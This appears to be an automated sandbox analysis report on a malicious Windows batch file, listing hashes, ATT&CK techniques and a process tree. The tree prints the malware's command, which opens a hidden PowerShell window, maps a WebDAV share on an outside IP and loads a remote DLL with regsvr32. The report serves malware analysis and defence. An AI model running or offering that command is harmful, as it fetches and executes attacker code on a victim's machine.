bbdb00e5144617f40b197001138047239661540ed4e768d70bf0bf402be58abf

Analysis

max time kernel
135s
max time network
105s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
21/07/2024, 15:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

119371420991627841.bat
Size

19KB
MD5

aa059d44b5472915f9e91bce65be9a79
SHA1

55c61832ea46fd15b55b8a49794bf58b67c47528
SHA256

bbdb00e5144617f40b197001138047239661540ed4e768d70bf0bf402be58abf
SHA512

9b33e109619fa75cb860ae85479d6d799700dca45db26b13f329b73bf7dbf98dc7c018612f15069764771e27a38084476c9a1aa14ef460291848b75ccbd11ea9
SSDEEP

384:1oJl3RV5dWs+WigBHBzmekck/gmx/YZe1w4vapbAh9Wzr1aGP:GHb10MHBzmFck/zx/YAtibmuaS

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3824	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3824	powershell.exe
3824	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3824	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4388	wordpad.exe
4388	wordpad.exe
4388	wordpad.exe
4388	wordpad.exe
4388	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4784 wrote to memory of 4388	4784	cmd.exe	84
PID 4784 wrote to memory of 4388	4784	cmd.exe	84
PID 4784 wrote to memory of 3824	4784	cmd.exe	86
PID 4784 wrote to memory of 3824	4784	cmd.exe	86
PID 3824 wrote to memory of 3208	3824	powershell.exe	88
PID 3824 wrote to memory of 3208	3824	powershell.exe	88
PID 3824 wrote to memory of 3584	3824	powershell.exe	89
PID 3824 wrote to memory of 3584	3824	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\119371420991627841.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4784
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\219162541119066.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3824
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3208
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\219162541119066.dll
    3⤵
    PID:3584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4e5sbm3r.4l2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3824-0-0x000001E2E1B00000-0x000001E2E1B22000-memory.dmp

Filesize
136KB

Download